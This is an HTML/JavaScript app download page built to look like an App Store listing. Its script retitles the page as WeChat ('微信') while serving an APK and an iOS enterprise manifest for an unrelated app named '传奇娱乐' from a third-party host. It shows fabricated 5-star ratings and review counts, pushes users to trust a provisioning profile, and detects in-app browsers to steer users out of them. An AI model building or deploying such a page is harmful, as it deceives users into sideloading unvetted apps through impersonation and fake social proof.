<!doctype html>
<html>
<head design-width="750">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="format-detection" content="telephone=no">
<title class="title">APP下载</title>
<link rel="stylesheet" href="css/reset.css">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="css/swiper.min.css">
<script src="js/auto-size.js"></script>
<script type="text/javascript" charset="utf-8">
    var title = "微信";
    var logo = "https://fir20212.12.ac.cn/1-1616328710.png";
    var iosurl = 'https://fir20212.12.ac.cn/chuanqi.plist';
    var androidurl = 'http://fir2021.12.ac.cn/%E4%BC%A0%E5%A5%87%E5%A8%B1%E4%B9%90.apk';


    var iosex = "itms-services://?action=download-manifest&url="; //ipa

    var pageurl = "https://adbw.gitee.io/fir-page";
    logo = pageurl+"/webapp/logo.png";

    //web 封装
   // iosurl = pageurl+"/webapp/skd.mobileconfig"; // web 封装
   // iosex = ""; //web ios


</script>
<style>
.xia,.guide .smallTip a{
	min-width: 2.1rem;
    background-color: #017afe;
    -webkit-border-radius: 0.3rem;
    border-radius: 0.3rem;
    text-align: center;
    color: #fff;
    font-size: 0.28rem;
    padding: 0 0.15rem;
    height: 0.62rem;
    line-height: 0.62rem;
}
.guide .smallTip a {
    color: #fff;
    font-size: 0.34rem;
    padding: 0.1rem 0.25rem;
}
</style>
</head>
<body ontouchstart="" onmouseover="">
	<div class="mobile-wrap center">
        <main>
        	<div class="appItem">
        		<div class="left"><img src="img/logo.png" class="logo"></div>
        		<div class="right">
        			<strong class="title">APP<span>3+</span></strong>
        			<p></p>
        			<div class="installBox android" style="padding-top: 0.3rem;">
        				<!--<a class="down" href="javascript:;">免费安装</a>-->
						<a class="xia" >安卓下载</a>
        			</div>
					<div class="installBox ios" style="padding-top: 0.3rem;">	
						<a class="down" href="javascript:;">苹果下载</a>
        				<a class="doubt" href="javascript:;">?</a>
					</div>
        		</div>
        		<div class="appTip">
        			<div class="score">
        			<div class="star">5.0 ★★★★★<var></var></div>
        				<p>19k 个评分</p>
        			</div>
        			<div class="centerBox"> <i>#</i>3 </div>
        			<div class="age">
        				<b>4+</b>
        			</div>
        		</div>
        	</div>
        	<div class="comment">
        		<strong class="publicTitle">评分及评论</strong>
        		<div class="left">
        		    <b>5.0</b>
        			<p>满分 5 分</p>
        		</div>
        		<div class="right">
        			<div class="star_row">
        				<span class="s1"><i></i></span>
        				<div class="lineBox"><var class="v1"></var></div>
        			</div>
        			<div class="star_row">
        				<span class="s2"><i></i></span>
        				<div class="lineBox"><var class="v2"></var></div>
        			</div>
        			<div class="star_row">
        				<span class="s3"><i></i></span>
        				<div class="lineBox"><var class="v3"></var></div>
        			</div>
        			<div class="star_row">
        				<span class="s4"><i></i></span>
        				<div class="lineBox"><var class="v4"></var></div>
        			</div>
        			<div class="star_row">
        				<span class="s5"><i></i></span>
        				<div class="lineBox"><var class="v5"></var></div>
        			</div>
        			<p>19k 个评分</p>
        		</div>
        	</div>
        	<div class="newFunction">
        		<strong class="publicTitle">新功能</strong>
        		<p class="title">SDK</p>
        	</div>
        	<div class="appInfo">
        		<strong class="publicTitle">信息</strong>
        		<div class="box">
        			<ul>
        				<li>
        					<span>大小</span>
        					<p>24.5 MB</p>
        				</li>
        				<li>
        					<span>兼容性</span>
        					<p>需要 iOS 8.0 或更高版本。与 iPhone、iPad 和 iPod touch 兼容。Android 4.0或更高版本。</p>
        				</li>
        				<li>
        					<span>语言</span>
        					<p>英语,简体中文</p>
        				</li>
        				<li>
        					<span>Copyright</span>
        					<p>© 2021 SDK</p>
        				</li>
        				<li>
        					<span>价格</span>
        					<p>免费</p>
        				</li>
        				<li>
        					<span>隐私政策</span>
        					<p>✋</p>
        				</li>
        			</ul>
        		</div>
        	</div>
        </main>
		<div class="footer">
			<p>免责声明：</p>
			<p class="p2">本网站仅为开发者提供App的下载和安装托管，App内的内容和运营相关事项由App开发者负责，与本网站无关</p>
		</div>
		<div class="pup">
			<div class="guide">
				<i class="colse"></i>
				<div class="pics">
					<div class="swiper-container">
					    <div class="swiper-wrapper">
						     <div class="swiper-slide">
						     	<div class="pic"><img src="img/0df0c_0_600_411.jpg" alt=""></div>
						     	<div class="text">安装引导<br>第一步  允许打开配置描述文件</div>
						     </div>
						     <!--<div class="swiper-slide">-->
						     <!--	<div class="pic"><img src="img/9179e_3_600_411.jpg" alt=""></div>-->
						     <!--	<div class="text">安装引导<br>第二步  点击右上角安装按钮</div>-->
						     <!--</div>-->
						     <!--<div class="swiper-slide">-->
						     <!--	<div class="pic"><img src="img/d3c74_2_600_411.jpg" alt=""></div>-->
						     <!--	<div class="text">安装引导<br>第三步  输入开机解锁密码 </div>-->
						     <!--</div>-->
						     <!--<div class="swiper-slide">-->
						     <!--	<div class="pic"><img src="img/0665a_1_600_411.jpg" alt=""></div>-->
						     <!--	<div class="text">安装引导<br>第四步  点击下方安装按钮 </div>-->
						     <!--</div>-->
					    </div>
					    <div class="swiper-pagination"></div>
					</div>
				</div>
				<div class="smallTip ">
				    <a id="trust_btn" >添加信任</a>
				    
				    <!--<a href="">什么是描述文件？</a>-->
				
				</div>
			</div>
		</div>
	
	<div class="pupPic"><img src="img/5cbc4_5_1242_2007.png" alt=""></div>
    </div>

	<script src="js/jquery-2.2.4.min.js"></script>
	<script>

    // $(".down").attr("href",iosurl);
    // $(".xia").attr("href",androidurl);
    
    $(".logo").attr("src",logo);
    
    $(".title").text(title);
    
	//添加信任
	$("#trust_btn").removeClass('hide').click(function () {
         window.location.href="app.mobileprovision";
    })
	   // let url=window.location.href; //生成二维码
	   // let code=url.substr(url.indexOf("?")+13);
	   // if(code){
    // 	    $.ajax({
    // 	        url:"https://ipv6.vin/api/my/invite",
    // 	        type:"post",
    // 	        data:{
    // 	            code:code,
    // 	        },
    // 	        success:function(res){
    // 	           console.log(res);
    // 	        }
    // 	    })
	   // }
        $("body").css("cursor","pointer");
        
        var ua = navigator.userAgent.toLowerCase();
        var Sys = {};
        var s;
        (s = ua.match(/version\/([\d.]+).*safari/)) ? Sys.safari = s[1] : 0;



        $(".xia").click(function(event) {
            location.href = androidurl;
        });

        console.log(s);
        //判断设备是否为iPhone
        if (/(iPhone|iPad|iPod|iOS)/i.test(ua)) {  
            console.log('ios');
            $('.android').remove();
            if (Sys.safari) {
                $(".down").click(function(event) {
                    location.href = iosex+iosurl;
                    setTimeout(function(){
                        // if(confirm){
                        //     location.href = iosurl;
                        // }
                         $(".pup").fadeIn();
                    },2500)
                    
                });
                //打开引导弹窗
                $(".doubt").click(function(event) {
                    $(".pup").fadeIn();
                });
            }else{
                $("body").click(function(event) {
                    $(".pupPic").show();
                 });
            }
        } 
        //判断是否QQ内置浏览器
        else if(ua.indexOf(' qq')>-1 && ua.indexOf('mqqbrowser') <0){
            $(".down").attr("href",'#');
            $("body").click(function(event) {
                $(".pupPic").show();
             });
        }
        //判断Android
        else if (/(Android)/i.test(ua)) {   
            $('.ios').remove();  
        }
        //在微信中打开
        if (ua.match(/MicroMessenger/i) == "micromessenger") {
            $(".down").attr("href",'#');
            $("body").click(function(event) {
                $(".pupPic").show();
             });
        }
        
		//关闭弹窗
		$(".colse").click(function(event) {
			$(".pup").fadeOut();
		});

	</script>
</body>
</html>
